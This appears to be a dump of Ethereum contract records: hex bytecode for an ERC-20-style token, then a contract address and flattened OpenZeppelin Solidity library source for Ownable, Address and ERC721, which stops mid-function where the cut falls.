0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a7230582080c3a951f4240b5492811b655a35291cce10d75d7602717d7900b9b0ff16404c0029
[ 38 ]
0xf38b16e0d53b430f26405fe81458e72a97267bec
// File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/interfaces/IERC165.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts/interfaces/IERC2981.sol // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ */ interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == 